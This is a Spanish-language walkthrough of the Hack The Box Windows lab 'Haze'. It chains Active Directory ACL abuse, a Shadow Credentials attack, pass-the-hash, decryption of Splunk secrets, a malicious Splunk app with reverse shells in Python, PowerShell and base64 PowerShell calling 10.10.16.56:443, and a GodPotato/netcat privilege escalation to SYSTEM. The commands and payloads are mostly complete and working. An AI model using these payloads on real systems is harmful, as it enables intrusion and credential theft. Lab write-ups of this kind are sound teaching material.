Haze 5

El plan es simple:

  1. Agregarnos a nosotros mismos (actualmente el la cuenta Haze-IT-Backup$) como dueños del grupo Support_Service.
  2. Ya siendo dueños del grupo Support_Service, nos agregamos a nosotros mismos a este grupo.
  3. Abusando del permiso AddKeyCredentialLink, performamos un ataque Shadow Credentials sobre el usuario edward.martin para extraer su hash NTLM.

Primero, usamos owneredit.py de la suite de Impacket para agregarnos a nosotros mismos (la cuenta Haze-IT-Backup$) como dueños del grupo Support_Service:

❯ impacket-owneredit -action write -new-owner 'Haze-IT-Backup$' -target 'Support_Services' -dc-ip haze.htb haze.htb/'Haze-IT-Backup$' -hashes ':735c02c6b2dc54c3c8c6891f55279ebc'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Current owner information below
[*] - SID: S-1-5-21-323145914-28650650-2368316563-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=haze,DC=htb
[*] OwnerSid modified successfully!

Segundo, nos damos permisos FullControl sobre el grupo Support_Services usando impacket-dacledit:

❯ impacket-dacledit -principal 'Haze-IT-Backup$' -target 'Support_Services' -action write -rights FullControl -dc-ip haze.htb haze.htb/'Haze-IT-Backup$' -hashes ':735c02c6b2dc54c3c8c6891f55279ebc'

Tercero, usamos bloodyAD (el cual puede ser descargado desde aquí, o ser instalado con pip install bloodyAD) para agregarnos a nosotros mismos al grupo Support_Services:

❯ bloodyAD --host haze.htb -d haze.htb -u 'Haze-IT-Backup$' -p ':735c02c6b2dc54c3c8c6891f55279ebc' add groupMember 'Support_Services' 'Haze-IT-Backup$'

[+] Haze-IT-Backup$ added to Support_Services

Por último, tratamos de realizar un ataque Shadow Credentials sobre la cuenta edward.martin. Para este propósito podemos usar una herramienta como Certipy (la cual puede ser descargada desde aquí, o instalada usando pip3 install certipy-ad) junto con faketime y ntpdate para evadir problemas con Kerberos:

❯ faketime "$(ntpdate -q haze.htb | cut -d ' ' -f 1,2)" certipy shadow auto -username 'Haze-IT-Backup$'@haze.htb -hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -account 'edward.martin'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'edward.martin'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '93f3000d-db98-9f29-dbde-99994c848143'
[*] Adding Key Credential with device ID '93f3000d-db98-9f29-dbde-99994c848143' to the Key Credentials for 'edward.martin'
[*] Successfully added Key Credential with device ID '93f3000d-db98-9f29-dbde-99994c848143' to the Key Credentials for 'edward.martin'
[*] Authenticating as 'edward.martin' with the certificate
[*] Using principal: edward.martin@haze.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'edward.martin.ccache'
[*] Trying to retrieve NT hash for 'edward.martin'
[*] Restoring the old Key Credentials for 'edward.martin'
[*] Successfully restored the old Key Credentials for 'edward.martin'
[*] NT hash for 'edward.martin': 09e0b3eeb2e7a6b0d419e9ff8f4d91af

Tenemos un hash NT para el usuario edward.martin.

Nota
Hay una tarea corriendo cada 15 minutos la cual reestablece la cuenta Haze-IT-Backup$ a su estado original, quitando los permisos y membresías a grupos. Por lo que si obtenemos algún error al correr esta “cadena” de ataque puede que necesitemos volver a correr todos los comandos para poder realizar el ataque Shadow Credentials.

Revisamos si nos podemos conectar con evil-winrm como el usuario edward.martin usando el hash NT obtenido:

❯ evil-winrm -i haze.htb -u 'edward.martin' -H '09e0b3eeb2e7a6b0d419e9ff8f4d91af'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\edward.martin\Documents>

Podemos extraer la flag de user en el Desktop del usuario edward.martin.


NT Authority/System - Administrador Link to heading

Cuando entré por primera vez en la máquina víctima como el usuario mark.adams a través de evil-winrm noté que existía una carpeta Backups en C:\, pero no teníamos permisos para acceder a ésta:

*Evil-WinRM* PS C:\Users\mark.adams\Documents> dir C:\


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          3/5/2025  12:32 AM                Backups
d-----         3/25/2025   2:06 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---          3/4/2025  11:28 PM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d-r---         3/31/2025   8:11 AM                Users
d-----         3/25/2025   2:15 PM                Windows


*Evil-WinRM* PS C:\Users\mark.adams\Documents> dir C:\Backups
Access to the path 'C:\Backups' is denied.
At line:1 char:1
+ dir C:\Backups
+ ~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\Backups:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

No obstante, el usuario edward.martin es parte del grupo Backup_Reviewers:

*Evil-WinRM* PS C:\Users\edward.martin\Documents> net user edward.martin

User name                    edward.martin
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            3/31/2025 9:17:28 AM
Password expires             Never
Password changeable          4/1/2025 9:17:28 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   3/31/2025 9:12:11 AM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Backup_Reviewers     *Domain Users
The command completed successfully.

Y este usuario sí puede listar el contenido de la carpeta C:\Backups:

*Evil-WinRM* PS C:\Users\edward.martin\Documents> dir C:\Backups


    Directory: C:\Backups


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          3/5/2025  12:33 AM                Splunk

Esto es porque, confirmando con la utilidad icacls, los miembros del grupo Backup_Reviewers efectivamente tienen permisos sobre este directorio:

*Evil-WinRM* PS C:\Users\edward.martin\Documents> icacls C:\Backups

C:\Backups HAZE\Backup_Reviewers:(OI)(CI)(RX)
           CREATOR OWNER:(OI)(CI)(IO)(F)
           NT AUTHORITY\SYSTEM:(OI)(CI)(F)
           BUILTIN\Administrators:(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files

En la carpeta C:\Backups\Splunk tenemos un archivo .zip que parece ser un respaldo:

*Evil-WinRM* PS C:\Users\edward.martin\Documents> dir C:\Backups\Splunk


    Directory: C:\Backups\Splunk


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          8/6/2024   3:22 PM       27445566 splunk_backup_2024-08-06.zip

Lo descargamos en nuestra máquina de atacante usando la función download de evil-winrm (vayan por un café o a comer, porque la descarga toma su tiempo):

*Evil-WinRM* PS C:\Users\edward.martin\Documents> cd C:\Backups\Splunk

*Evil-WinRM* PS C:\Backups\Splunk> download splunk_backup_2024-08-06.zip

Info: Downloading C:\Backups\Splunk\splunk_backup_2024-08-06.zip to splunk_backup_2024-08-06.zip

Info: Download successful!

Descargado este archivo, descomprimimos el archivo de respaldo .zip en nuestra máquina de atacantes usando unzip:

❯ unzip splunk_backup_2024-08-06.zip

Archive:  splunk_backup_2024-08-06.zip
   creating: Splunk/
   creating: Splunk/bin/
<SNIP>

Esto extraer todos los documentos en un directorio llamado Splunk. Si recordamos, el archivo authentication.conf tenía credenciales para el primer usuario que encontramos. Revisamos si este archivo existe en este respaldo:

❯ find ./Splunk -name '*authentication.conf' -type f 2>/dev/null

./Splunk/var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf
./Splunk/var/run/splunk/confsnapshot/baseline_default/system/default/authentication.conf
./Splunk/etc/system/default/authentication.conf

Existe.

El primer archivo de la lista previa muestra un contenido levemente diferente al que habíamos hallado al inicio de esta máquina:

❯ cat ./Splunk/var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf

[default]

minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0


[Haze LDAP Auth]

SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=alexander.green,CN=Users,DC=haze,DC=htb
bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_Admins,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname

[authentication]
authSettings = Haze LDAP Auth
authType = LDAP%

Tenemos una nueva contraseña encriptada para el usuario alexander.green (el cual podemos confirmar con Bloodhound que es un usuario que existe en el dominio).

Similar a como desencriptamos la contraseña del primer usuario paul.taylor con splunksecrets, desencriptamos esta contraseña. Para ello necesitamos nuevamente hallar el archivo splunk.secret:

❯ find ./Splunk -name '*splunk.secret' -type f 2>/dev/null

./Splunk/etc/auth/splunk.secret

Usamos el secreto en este archivo junto con splunksecrets para desencriptar esta nueva contraseña:

❯ splunksecrets splunk-legacy-decrypt -S ./Splunk/etc/auth/splunk.secret --ciphertext '$1$YDz8WfhoCWmf6aTRkA+QqUI='

Sp1unkadmin@2k24

Tenemos una nueva contraseña: Sp1unkadmin@2k24.

Podemos volver al panel de Splunk corriendo en http://haze.htb:8000 en un navegador de internet e intentar con las credenciales admin:Sp1unkadmin@2k24. Funcionan. Tenemos acceso al panel:

Haze 6

Ya que estamos dentro, podríamos tratar de subir un módulo malicioso para Splunk que nos envie una reverse shell. Para este propósito, podríamos usar archivos de este repositorio. Lo clonamos y editamos los archivos localizados en el directorio reverse_shell_splunk/bin. Cambiamos reverse_shell_splunk/bin/rev.py de:

import sys,socket,os,pty

ip="attacker-ip-here"  
port="attacker port here"  
s=socket.socket()  
s.connect((ip,int(port)))  
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')  

A una versión levemente modificada:

import sys,socket,os,pty

ip="10.10.16.56" # we have added our attacker IP
port="443" # we have added our listening port
s=socket.socket()  
s.connect((ip,int(port)))  
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')  

Donde 10.10.16.56 es nuestra IP de atacantes y 443 el puerto en el cual nos pondremos en escucha con netcat.

Además, cambiamos el archivo reverse_shell_splunk/bin/run.ps1 (el cual es simplemente un oneliner de un archivo del repositorio Nishang) de:

#A simple and small reverse shell. Options and help removed to save space. 
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip_here',attacker_port_here);$stream = $client.GetStream();[byte[`$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

A una leve versión modificada:

$client = New-Object System.Net.Sockets.TCPClient('10.10.16.56',443);$stream = $client.GetStream();[byte[`$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Donde hemos agregado nuestra IP de atacante y puerto en escucha también.

Finalmente, también cambiamos el archivo reverse_shell_splunk/bin/run.bat a:

@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANQA2ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
Exit

Donde hemos usado un payload PowerShell #3 (Base64) de https://www.revshells.com/ luego de especificar nuestra IP de atacante y puerto de escucha.

Nota
Cambiamos estos 3 archivos dado que no sabemos cuál de estos será exactamente ejecutado. Probablemente el script de Python no será ejecutado, mientras que los archivos .bat y .ps1 probablemente sí sean ejecutados dado que la máquina víctima es un objetivo Windows. Si no sabemos cuál es, recomiendo editar los 3 como lo acabamos de hacer.

Una vez hecho, seguimos los pasos del repositorio y comprimimos los archivos maliciosos usando tar:

❯ tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunk

reverse_shell_splunk/
reverse_shell_splunk/bin/
reverse_shell_splunk/bin/run.ps1
reverse_shell_splunk/bin/rev.py
reverse_shell_splunk/bin/run.bat
reverse_shell_splunk/default/
reverse_shell_splunk/default/inputs.conf

Y renombramos este archivo, cambiando la extensión de .tgz a .spl:

❯ mv reverse_shell_splunk.tgz reverse_shell_splunk.spl

Luego, en el panel de Splunk clickeamos en Manage en la parte superior izquierda:

Haze 7

Luego, clickeamos en Install app from file en la parte superior derecha:

Haze 8

Empezamos un listener con netcat (junto con rlwrap) en nuestra máquina de atacantes por el puerto 443 (rlwrap -cAr nc -lvnp 443) y, de vuelta a la página de Splunk, clickeamos en Browsey seleccionamos nuestro payload reverse_shell_splunk.spl. Obtenemos así una shell como el usuario alexander.green:

❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.56] from (UNKNOWN) [10.129.234.37] 58662
whoami

haze\alexander.green

Este usuario tiene el privilegio SeImpersonatePrivilege habilitado:

PS C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Por lo que podemos abusar de este privilegio para elevar nuestro privilegio.

Podemos subir un binario de netcat para Windows y una herramienta para abusar del permiso SeImpersonatePrivilege como GodPotato (el cual puede ser descargado desde su repositorio de Github). Para esto, usamos nuestra sesión previa como el usuario edward.martin y subimos aquellos archivos en la máquina víctima. En mi caso, me gusta subirla en cualquiera de los directorios ubicados en la lista de directorios de UltimateAppLockerByPassList. Antes de subir netcat y GodPotato, esta última herramienta tiene distintos binarios para distintas versiones de Microsoft .NET. Podemos revisar la versión de Microsoft .NET chequeando sus registros:

*Evil-WinRM* PS C:\Users\edward.martin\Documents> reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\CDF
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.0

Tenemos la versión v4.0 para Microsoft .NET. Por tanto, podemos descargar este binario pre-compilado de GodPotato para .NETv4.0.

Ya descargado, subimos los ejecutables de netcat y GodPotato mediante la sesión de edward.martin con evil-winrm usamos la función upload:

**Evil-WinRM* PS C:\Users\edward.martin\Documents> upload nc64.exe C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe

<SNIP>

*Evil-WinRM* PS C:\Users\edward.martin\Documents> upload GodPotato-NET4.exe C:\\Windows\\System32\\spool\\drivers\\color\\GodPotato.exe

<SNIP>

*Evil-WinRM* PS C:\Users\edward.martin\Documents> dir C:\Windows\System32\spool\drivers\color


    Directory: C:\Windows\System32\spool\drivers\color


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          5/8/2021   1:14 AM           1058 D50.camp
-a----          5/8/2021   1:14 AM           1079 D65.camp
-a----         3/31/2025  10:19 PM          57344 GodPotato.exe
-a----          5/8/2021   1:14 AM            797 Graphics.gmmp
-a----          5/8/2021   1:14 AM            838 MediaSim.gmmp
-a----         3/31/2025  10:19 PM          45272 nc64.exe
<SNIP>

Finalmente, en la sesión de alexander.green, abusamos del permiso SeImpersonatePrivilege con el binario subido de GodPotato. Lo usamos para ejecutar un comando mediante CMD como el usuario nt authority/system, el cual en este caso lo usaremos para ejecutar el binario de netcat y enviarnos así una reverse shell como este usuario privilegiado. Empezamos un listener con netcat por el puerto 443 en otra terminal. Finalmente, como el usuario alexander.green ejecutamos:

PS C:\Windows\system32> C:\Windows\System32\spool\drivers\color\GodPotato.exe -cmd "C:\Windows\System32\cmd.exe /c C:\Windows\System32\spool\drivers\color\nc64.exe 10.10.16.56 443 -e cmd.exe"

Obtenemos una shell como el usuario nt authority/system. Aunque esta consola está levemente bugeada, igualmente podemos ejecutar comandos y extraer la flag:

❯ rlwrap nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.56] from (UNKNOWN) [10.129.104.62] 55728
Microsoft Windows [Version 10.0.20348.3328]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt

type C:\Users\Administrator\Desktop\root.txt
2a052**************************

~Happy Hacking.